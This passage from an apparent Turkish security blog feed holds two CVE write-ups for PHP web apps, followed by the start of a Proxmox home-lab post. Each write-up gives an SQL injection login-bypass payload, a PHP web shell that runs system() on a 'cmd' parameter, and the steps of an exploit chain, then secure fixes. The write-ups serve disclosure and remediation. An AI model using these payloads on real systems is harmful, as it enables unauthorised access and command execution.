&lt;p&gt;Bu, &lt;code&gt;shell.php&lt;/code&gt; adında bir dosya yükleyebileceğim ve sunucunun bunu bir PHP dosyası olarak kaydedeceği anlamına gelir. Bu dosyaya tarayıcı üzerinden eriştiğimde, sunucu içindeki kötü amaçlı PHP kodunu çalıştıracaktır.&lt;/p&gt;
&lt;h3&gt;Exploit Geliştirme&lt;/h3&gt;
&lt;p&gt;Tüm bu saldırı zincirini otomatize etmek için bir Python betiği (&lt;code&gt;exploit.py&lt;/code&gt;) yazdım. İşte exploiti nasıl kurguladım:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Oturum Kurulumu:&lt;/strong&gt; İstekler arasında çerezleri korumak için &lt;code&gt;requests.Session()&lt;/code&gt; kullandım.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Giriş Atlatma:&lt;/strong&gt; &lt;code&gt;classes/Login.php?f=login&lt;/code&gt; adresine SQL enjeksiyon yükü ile bir POST isteği gönderdim.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bilgi Toplama:&lt;/strong&gt; Shell&#39;i yüklemeden önce, &lt;code&gt;admin/?page=user&lt;/code&gt; sayfasından mevcut kullanıcının bilgilerini (ID, Ad, Soyad, Kullanıcı Adı) çektim (scrape ettim). Bu çok önemliydi çünkü &lt;code&gt;save_users&lt;/code&gt; fonksiyonu &lt;em&gt;tüm&lt;/em&gt; alanları güncelliyor. Sadece dosyayı gönderseydim, admin profilini bozabilir veya veritabanı hatasına neden olabilirdim. Gizli kalmak ve profil verilerini korumak istedim.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Shell Yükleme:&lt;/strong&gt; &lt;code&gt;classes/Users.php?f=save&lt;/code&gt; adresine bir &lt;code&gt;multipart/form-data&lt;/code&gt; POST isteği oluşturdum.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Çektiğim kullanıcı verilerini ekledim.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;img&lt;/code&gt; dosya alanını ekledim.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dosya Adı:&lt;/strong&gt; &lt;code&gt;.php&lt;/code&gt; ile biten rastgele bir dosya adı oluşturdum (örn. &lt;code&gt;xYz_Tagoletta.php&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;&amp;lt;?php if(isset($_GET[&#39;cmd&#39;])){ echo &#39;&amp;lt;b&amp;gt;Tagoletta&amp;lt;/b&amp;gt;&amp;lt;pre&amp;gt;&#39;; $cmd = ($_GET[&#39;cmd&#39;]); system($cmd); echo &#39;&amp;lt;/pre&amp;gt;&#39;; die; } ?&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Çalıştırma:&lt;/strong&gt; Yüklemeden sonra, avatar resminin yeni &lt;code&gt;src&lt;/code&gt; özniteliğini bulmak için profil sayfasını tekrar ayrıştırdım. Bu bana sunucudaki tam yolu verdi. Son olarak, kod yürütmeyi kanıtlamak için &lt;code&gt;?cmd=whoami&lt;/code&gt; eklenmiş URL&#39;yi yazdırdım.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Çözüm ve Kapatma&lt;/h3&gt;
&lt;p&gt;Bu uygulamayı güvenli hale getirmek için her iki zafiyet de derhal kapatılmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. SQL Enjeksiyonunu Düzeltme:&lt;/strong&gt;&lt;br /&gt;
Dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanın. Bu, kullanıcı girdisinin çalıştırılabilir kod olarak değil, veri olarak işlenmesini sağlar.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Zafiyetli:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$qry = $this-&amp;gt;conn-&amp;gt;query(&amp;quot;SELECT * from users where username = &#39;$username&#39; and password = md5(&#39;$password&#39;) &amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Güvenli:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$stmt = $this-&amp;gt;conn-&amp;gt;prepare(&amp;quot;SELECT * from users where username = ? and password = md5(?)&amp;quot;);
$stmt-&amp;gt;bind_param(&amp;quot;ss&amp;quot;, $username, $password);
$stmt-&amp;gt;execute();
$qry = $stmt-&amp;gt;get_result();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Dosya Yüklemeyi Düzeltme:&lt;/strong&gt;&lt;br /&gt;
Dosya uzantısını doğrulayın ve dosyayı güvenli bir şekilde yeniden adlandırın. Asla kullanıcı tarafından sağlanan dosya adını/uzantısını kullanmayın.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Güvenli Uygulama Mantığı:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$allowed = array(&#39;jpg&#39;, &#39;jpeg&#39;, &#39;png&#39;, &#39;gif&#39;);
$filename = $_FILES[&#39;img&#39;][&#39;name&#39;];
$ext = pathinfo($filename, PATHINFO_EXTENSION);

if(!in_array(strtolower($ext), $allowed)) {
    // Hata: Geçersiz dosya türü
    exit(&amp;quot;Geçersiz dosya türü&amp;quot;);
}

// Orijinal uzantı (eğer izin veriliyorsa) ile güvenli, rastgele bir dosya adı oluşturun
$fname = &#39;uploads/&#39; . uniqid() . &#39;.&#39; . $ext;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;CVE ID:&lt;/strong&gt; CVE-2025-69457&lt;br /&gt;
&lt;strong&gt;İlk Yayın Tarihi:&lt;/strong&gt; 22 Haziran 2021&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; Tağmaç &amp;quot;Tagoletta&amp;quot;&lt;br /&gt;
&lt;strong&gt;Canonical reference:&lt;/strong&gt; &lt;a href=&quot;https://www.exploit-db.com/exploits/50049&quot;&gt;https://www.exploit-db.com/exploits/50049&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Github Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/Tagoletta/CVE-2025-69457&quot;&gt;https://github.com/Tagoletta/CVE-2025-69457&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>CVE-2025-69460 – Simple Image Gallery 1.0 - Remote Code Execution (Unauthenticated)</title>
    <link href="https://tagmachan.com/simple-image-gallery-1-0-remote-code-execution-unauthenticated-tr.tagox"/>
    <updated>2026-01-21T14:03:00Z</updated>
    <id>https://tagmachan.com/simple-image-gallery-1-0-remote-code-execution-unauthenticated-tr.tagox</id>
    <category term="Security Research"/>
    <summary>CVE-2025-69460: Simple Image Gallery 1.0 üzerinde Yetkisiz Erişim ve Uzaktan Kod Yürütme (RCE) zafiyeti. Keşif ve exploit: Tağmaç &#39;Tagoletta&#39;. PoC exploit kodu içeren tam writeup.</summary>
    <content type="html">&lt;h3&gt;Giriş&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/cve-2025-69460-simple-image-gallery-1-0-remote-code-execution-unauthenticated-exploit.tagox&quot;&gt;Exploit Kodunu Görüntüle&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bu raporda, &amp;quot;Simple Image Gallery 1.0&amp;quot; uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı olarak amacım, kimlik doğrulaması gerektirmeyen bir saldırı vektörü üzerinden sunucuda tam kontrol sağlamaktı. Saldırı zinciri iki temel zafiyetten oluşmaktadır: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.&lt;/p&gt;
&lt;h3&gt;Zafiyet Analizi&lt;/h3&gt;
&lt;h4&gt;Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)&lt;/h4&gt;
&lt;p&gt;İlk hedefim, uygulamanın giriş mekanizmasıydı. &lt;code&gt;classes/Login.php&lt;/code&gt; dosyasını incelediğimde, kullanıcı girişlerinin veritabanı sorgusuna doğrudan dahil edildiğini fark ettim.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// classes/Login.php içindeki Zafiyetli Kod
$qry = $this-&amp;gt;conn-&amp;gt;query(&amp;quot;SELECT * from users where username = &#39;$username&#39; and password = md5(&#39;$password&#39;) &amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Görüldüğü üzere, &lt;code&gt;$username&lt;/code&gt; değişkeni herhangi bir temizleme işleminden geçirilmeden SQL sorgusuna eklenmektedir. Bu durum, saldırganın sorgu mantığını manipüle etmesine olanak tanır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kullanılan Yük (Payload):&lt;/strong&gt; &lt;code&gt;admin&#39; or &#39;1&#39;=&#39;1&#39;#&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Bu yük kullanıldığında sorgu şu hale dönüşür:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * from users where username = &#39;admin&#39; or &#39;1&#39;=&#39;1&#39;#&#39; and password = md5(&#39;...&#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;#&lt;/code&gt; karakteri sorgunun geri kalanını (şifre kontrolünü) devre dışı bırakır ve &lt;code&gt;1=1&lt;/code&gt; koşulu her zaman doğru olduğu için veritabanı ilk kullanıcıyı (genellikle yönetici) döndürür. Böylece şifreye ihtiyaç duymadan sisteme giriş yapılmış olur.&lt;/p&gt;
&lt;h4&gt;Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)&lt;/h4&gt;
&lt;p&gt;Yönetici erişimi sağladıktan sonra, dosya yükleme fonksiyonlarını inceledim. Kullanıcı profilini güncelleme işlemi sırasında (&lt;code&gt;classes/Users.php&lt;/code&gt;), yüklenen dosyaların yeterince kontrol edilmediğini tespit ettim.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES[&#39;img&#39;]) &amp;amp;&amp;amp; $_FILES[&#39;img&#39;][&#39;tmp_name&#39;] != &#39;&#39;){
    $fname = &#39;uploads/&#39;.strtotime(date(&#39;y-m-d H:i&#39;)).&#39;_&#39;.$_FILES[&#39;img&#39;][&#39;name&#39;];
    $move = move_uploaded_file($_FILES[&#39;img&#39;][&#39;tmp_name&#39;],&#39;../&#39;. $fname);
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Buradaki güvenlik açıkları şunlardır:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Uzantı Kontrolü Yok:&lt;/strong&gt; Kod, dosya adını (&lt;code&gt;$_FILES[&#39;img&#39;][&#39;name&#39;]&lt;/code&gt;) doğrudan kullanır ve uzantının güvenli olup olmadığını (örneğin sadece &lt;code&gt;.jpg&lt;/code&gt; veya &lt;code&gt;.png&lt;/code&gt;) kontrol etmez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;İçerik Kontrolü Yok:&lt;/strong&gt; Dosyanın içeriği veya MIME türü doğrulanmaz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Çalıştırılabilir Dosya:&lt;/strong&gt; &lt;code&gt;.php&lt;/code&gt; uzantılı bir dosya yüklendiğinde, sunucu bunu bir PHP betiği olarak kabul eder ve çalıştırır.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bu zafiyet, saldırganın sunucuya kötü amaçlı bir PHP dosyası (web shell) yüklemesine ve bu dosyayı tarayıcı üzerinden çağırarak komut çalıştırmasına olanak tanır.&lt;/p&gt;
&lt;h3&gt;Exploit Geliştirme&lt;/h3&gt;
&lt;p&gt;Bu saldırı zincirini otomatize etmek için bir Python betiği (&lt;code&gt;exploit.py&lt;/code&gt;) geliştirdim. Betiğin çalışma mantığı şu şekildedir:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Oturum Başlatma:&lt;/strong&gt; &lt;code&gt;requests.session()&lt;/code&gt; kullanılarak HTTP oturumu başlatılır.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Giriş Atlatma:&lt;/strong&gt; &lt;code&gt;classes/Login.php?f=login&lt;/code&gt; adresine SQL enjeksiyon yükü (&lt;code&gt;admin&#39; or &#39;1&#39;=&#39;1&#39;#&lt;/code&gt;) gönderilir. Başarılı yanıt alındığında oturum açılmış olur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kullanıcı Bilgilerini Koruma:&lt;/strong&gt; Profil güncelleme işlemi tüm alanları değiştirdiği için, önce mevcut kullanıcı bilgileri (ID, Ad, Soyad, Kullanıcı Adı) &lt;code&gt;?page=user&lt;/code&gt; sayfasından çekilir (scrape edilir). Bu adım, mevcut verilerin bozulmasını önlemek için önemlidir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shell Yükleme:&lt;/strong&gt; &lt;code&gt;classes/Users.php?f=save&lt;/code&gt; adresine &lt;code&gt;multipart/form-data&lt;/code&gt; isteği gönderilir.
&lt;ul&gt;
&lt;li&gt;Çekilen kullanıcı bilgileri form verisi olarak eklenir.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;img&lt;/code&gt; alanına, içinde PHP kodu bulunan ve &lt;code&gt;.php&lt;/code&gt; uzantılı rastgele isimlendirilmiş bir dosya eklenir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;&amp;lt;?php if(isset($_GET[&#39;cmd&#39;])){ echo &#39;&amp;lt;pre&amp;gt;&#39;; $cmd = ($_GET[&#39;cmd&#39;]); system($cmd); echo &#39;&amp;lt;/pre&amp;gt;&#39;; die; } ?&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Çalıştırma:&lt;/strong&gt; Yükleme işleminden sonra profil sayfası tekrar kontrol edilerek yüklenen dosyanın yolu (&lt;code&gt;src&lt;/code&gt; özniteliği) bulunur. Son olarak, bu yola &lt;code&gt;?cmd=whoami&lt;/code&gt; parametresi eklenerek komut çalıştırma testi yapılır.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Çözüm ve Kapatma&lt;/h3&gt;
&lt;p&gt;Bu zafiyetlerin giderilmesi için aşağıdaki adımlar uygulanmalıdır:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. SQL Enjeksiyonunu Önleme:&lt;/strong&gt;&lt;br /&gt;
Veritabanı sorgularında dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanılmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Güvenli Örnek:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$stmt = $this-&amp;gt;conn-&amp;gt;prepare(&amp;quot;SELECT * from users where username = ? and password = md5(?)&amp;quot;);
$stmt-&amp;gt;bind_param(&amp;quot;ss&amp;quot;, $username, $password);
$stmt-&amp;gt;execute();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Dosya Yükleme Güvenliği:&lt;/strong&gt;&lt;br /&gt;
Yüklenen dosyaların uzantıları ve türleri sıkı bir şekilde kontrol edilmelidir. Dosya isimleri kullanıcıdan alınmamalı, sunucu tarafından rastgele oluşturulmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Güvenli Örnek:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$allowed = array(&#39;jpg&#39;, &#39;jpeg&#39;, &#39;png&#39;, &#39;gif&#39;);
$ext = pathinfo($_FILES[&#39;img&#39;][&#39;name&#39;], PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) {
    exit(&amp;quot;Invalid file type&amp;quot;);
}
$fname = &#39;uploads/&#39; . uniqid() . &#39;.&#39; . $ext;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;CVE ID:&lt;/strong&gt; CVE-2025-69460&lt;br /&gt;
&lt;strong&gt;İlk Yayın Tarihi:&lt;/strong&gt; 17 Ağustos 2021&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; Tağmaç &amp;quot;Tagoletta&amp;quot;&lt;br /&gt;
&lt;strong&gt;Canonical reference:&lt;/strong&gt; &lt;a href=&quot;https://www.exploit-db.com/exploits/50214&quot;&gt;https://www.exploit-db.com/exploits/50214&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Github Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/Tagoletta/CVE-2025-69460&quot;&gt;https://github.com/Tagoletta/CVE-2025-69460&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Proxmox ile Kompakt Bir Siber Güvenlik Ev Laboratuvarı Kurulumu</title>
    <link href="https://tagmachan.com/proxmox-ile-kompakt-bir-siber-guvenlik-ev-laboratuvari-kurulumu.tagox"/>
    <updated>2025-12-08T00:00:00Z</updated>
    <id>https://tagmachan.com/proxmox-ile-kompakt-bir-siber-guvenlik-ev-laboratuvari-kurulumu.tagox</id>
    <category term="Research"/>
    <summary>Mütevazı bir notebook&#39;u Tor, Exploit Geliştirme, Docker ve OPNsense ortamlarını çalıştıran bir güç merkezine dönüştürmek.</summary>
    <content type="html">&lt;h2&gt;Giriş: Eski Donanımı Değerlendirmek&lt;/h2&gt;
&lt;p&gt;Elimde 16 GB RAM ve 4 çekirdekli Intel(R) Core(TM) i3-4030U CPU @ 1.90GHz işlemciye sahip küçük bir notebook vardı. Bu cihazı kenara atmak yerine, siber güvenlik araştırmalarım ve geliştirmelerim için taşınabilir, izole ve güçlü bir laboratuvar ortamına dönüştürmeye karar verdim. Çözüm? &lt;strong&gt;Proxmox VE&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Bu yazıda, Proxmox&#39;un ne olduğundan, kurulum inceliklerinden ve üzerinde koşturduğum 4 kritik sanal makinenin (VM) detaylarından bahsedeceğim.&lt;/p&gt;
&lt;h2&gt;Proxmox VE Nedir?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Proxmox Virtual Environment (VE)&lt;/strong&gt;, kurumsal sınıf sanallaştırma işlemlerini yönetmek için kullanılan açık kaynaklı, Debian tabanlı bir &amp;quot;bare-metal&amp;quot; (doğrudan donanıma kurulan) hipervizördür. VirtualBox veya VMware Workstation gibi bir işletim sistemi üzerine kurulmaz; kendisi işletim sistemidir.&lt;/p&gt;
&lt;p&gt;Proxmox&#39;u bu kadar güçlü kılan iki temel teknolojiyi barındırmasıdır:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;KVM (Kernel-based Virtual Machine):&lt;/strong&gt; Tam sanallaştırma sağlar. Windows, Linux, BSD gibi herhangi bir işletim sistemini, sanki fiziksel bir makineymiş gibi çalıştırabilirsiniz. Donanımı tamamen simüle eder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LXC (Linux Containers):&lt;/strong&gt; İşletim sistemi seviyesinde sanallaştırma sağlar. Çok daha hafiftir çünkü ana makinenin (host) çekirdeğini (kernel) paylaşır. Sadece Linux dağıtımları çalıştırılabilir ama performansı &amp;quot;native&amp;quot; hıza çok yakındır.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Kurulum ve Konfigürasyonda Dikkat Edilmesi Gerekenler&lt;/h2&gt;
&lt;p&gt;Kurulumu standart ISO dosyası üzerinden USB ile başlattım. Ancak donanımım sınırlı olduğu için (özellikle CPU ve RAM), konfigürasyonda bazı stratejik kararlar almam gerekti:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dosya Sistemi (ZFS vs LVM):&lt;/strong&gt; Proxmox, ZFS dosya sistemini destekler ve bu harika veri bütünlüğü sağlar. Ancak ZFS çok fazla RAM tüketir (genellikle her 1TB disk için 1GB+ RAM önerilir). 16 GB RAM&#39;im olduğu için ZFS yerine daha hafif olan &lt;strong&gt;LVM-Thin&lt;/strong&gt; yapısını tercih ettim. Bu sayede RAM&#39;i sanal makinelerime sakladım.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ağ Yapılandırması (Linux Bridge):&lt;/strong&gt; Notebook&#39;un tek bir ethernet portu ve bir Wi-Fi kartı var. Proxmox, Wi-Fi kartlarını &amp;quot;bridge&amp;quot; modunda kullanmakta zorlanabilir. Bu yüzden ethernet portunu ana yönetim ve WAN çıkışı olarak yapılandırdım.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kaynak Kısıtlaması:&lt;/strong&gt; CPU&#39;m eski nesil bir i3 olduğu için, sanal makinelere gereğinden fazla vCPU (sanal çekirdek) atamaktan kaçındım. Genellikle &amp;quot;Host&amp;quot; tipi işlemci modelini seçerek, fiziksel işlemcinin tüm özelliklerinin (AES-NI vb.) sanal makineye aktarılmasını sağladım.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/proxmox2.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Laboratuvar Ortamım: 4 Temel Makine&lt;/h2&gt;
&lt;p&gt;Şu anda aktif olarak kullandığım yapı, hem savunma hem de saldırı senaryolarını simüle edebileceğim şekilde tasarlandı:&lt;/p&gt;
&lt;h3&gt;1. Tor Gateway (Ubuntu Template - VM)&lt;/h3&gt;
&lt;p&gt;Bu makine, laboratuvarın &amp;quot;görünmezlik pelerini&amp;quot;dir.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Detaylı Yapı:&lt;/strong&gt; Ubuntu Server üzerine kurulu minimal bir sistem. İki sanal ağ arayüzüne sahip olabilir veya tek arayüz üzerinden routing yapabilir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Çalışma Mantığı:&lt;/strong&gt; İçerisinde Tor servisi &amp;quot;Transparent Proxy&amp;quot; modunda çalışıyor. iptables kuralları ile gelen tüm trafiği Tor portuna (genellikle 9040) yönlendiriyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Neden Gerekli?:&lt;/strong&gt; Kali Linux üzerinde varsayılan olarak gelen Tor servisinde zaman zaman çıkış nodu (exit node) sorunları yaşanabiliyor. Ayrıca her makineye ayrı ayrı Tor Browser kurmak yerine, merkezi bir çıkış noktası kullanmak çok daha pratik.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kullanım Senaryosu:&lt;/strong&gt; Statik bir yerel IP adresi (örn: 10.10.10.254) verdim. Diğer sanal makinelerin &amp;quot;Gateway&amp;quot; (Ağ Geçidi) adresini bu IP yaptığım anda, o makinenin tüm trafiği şifrelenip Tor ağına giriyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tarayıcı Entegrasyonu:&lt;/strong&gt; Kendi ana bilgisayarımda Tor Browser kullanmak yerine, Firefox/Chrome üzerine kurduğum &lt;strong&gt;FoxyProxy&lt;/strong&gt; gibi eklentilerle trafiği bu makinenin IP&#39;sine yönlendiriyorum. Böylece standart tarayıcım üzerinden Tor ağına erişebiliyorum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Özel Port:&lt;/strong&gt; Tor çıkış portunu varsayılan yerine &lt;strong&gt;65534&lt;/strong&gt; olarak yapılandırdım. Bu, bazı basit port taramalarından kaçınmayı ve trafiği daha spesifik yönetmeyi sağlıyor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/torsum.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/torres.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. Exploit Development &amp;amp; ZeroDay Hunting (Ubuntu Template - VM)&lt;/h3&gt;
&lt;p&gt;Burası benim ana çalışma tezgahım. İzole edilmiş, kirlenmeye müsait bir ortam.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Neden VM?:&lt;/strong&gt; Exploit geliştirirken bazen sistem kararsız hale gelebilir veya kernel panic yaşanabilir. VM olması, anlık &amp;quot;Snapshot&amp;quot; (sistem görüntüsü) alıp, bir şeyler ters gittiğinde saniyeler içinde geri dönebilmemi sağlıyor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Uzaktan Geliştirme (VS Code SSH):&lt;/strong&gt; Bu makinede grafik arayüz kullanmak yerine, ana bilgisayarımdaki &lt;strong&gt;Visual Studio Code&lt;/strong&gt; üzerinden &lt;strong&gt;Remote - SSH&lt;/strong&gt; eklentisi ile bağlanıyorum. Bu sayede kod yazma, debug etme ve dosya yönetimi işlemlerini kendi konforlu ortamımda yaparken, kodlar aslında izole VM üzerinde çalışıyor. GDB entegrasyonu ile exploit debug etmek bu şekilde çok daha verimli oluyor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;İçerik:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web Sunucusu:&lt;/strong&gt; Nginx kurulu. Zafiyetli olduğunu düşündüğüm açık kaynak projeleri veya kendi yazdığım test senaryolarını burada barındırıyorum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Araçlar:&lt;/strong&gt; Python, GDB (debugger), Burp Suite (headless veya remote), ve çeşitli fuzzing araçları hazır durumda.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ZeroDay Hunting:&lt;/strong&gt; İndirdiğim bir CMS&#39;i veya kütüphaneyi burada çalıştırıp, dış dünyadan tamamen izole bir şekilde üzerinde zafiyet taraması yapıyorum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/expsum.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/expres.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. Docker Host (Ubuntu Template - VM/CT)&lt;/h3&gt;
&lt;p&gt;Mikro servisler ve hızlı denemeler için kullandığım oyun alanı.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Yapı:&lt;/strong&gt; Docker Engine ve Docker Compose kurulu temiz bir Ubuntu.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Neden Ayrı Bir Makine?:&lt;/strong&gt; Proxmox&#39;un kendisine (host makineye) asla Docker kurmamalısınız. Bu, sistemin kararlılığını bozabilir. Bunun yerine ayrı bir sanal makine veya LXC konteyneri içinde Docker çalıştırmak en temiz yöntemdir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kullanım:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yeni çıkan bir güvenlik aracını denemek istediğimde (örn: bir C2 sunucusu veya analiz aracı), GitHub&#39;dan çekip burada &lt;code&gt;docker-compose up&lt;/code&gt; diyorum.&lt;/li&gt;
&lt;li&gt;Kendi geliştirdiğim küçük scriptleri konteynerize edip burada test ediyorum.&lt;/li&gt;
&lt;li&gt;Portainer gibi bir arayüz ile görsel yönetim sağlıyorum.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/dockersum.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/dockerhardware.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4. OPNsense Firewall &amp;amp; VPN (VM)&lt;/h3&gt;
&lt;p&gt;Ağın beyni, güvenlik görevlisi ve dış dünyaya açılan kapı.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Yapı:&lt;/strong&gt; FreeBSD tabanlı, pfSense çatalı olan OPNsense.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Konfigürasyon:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
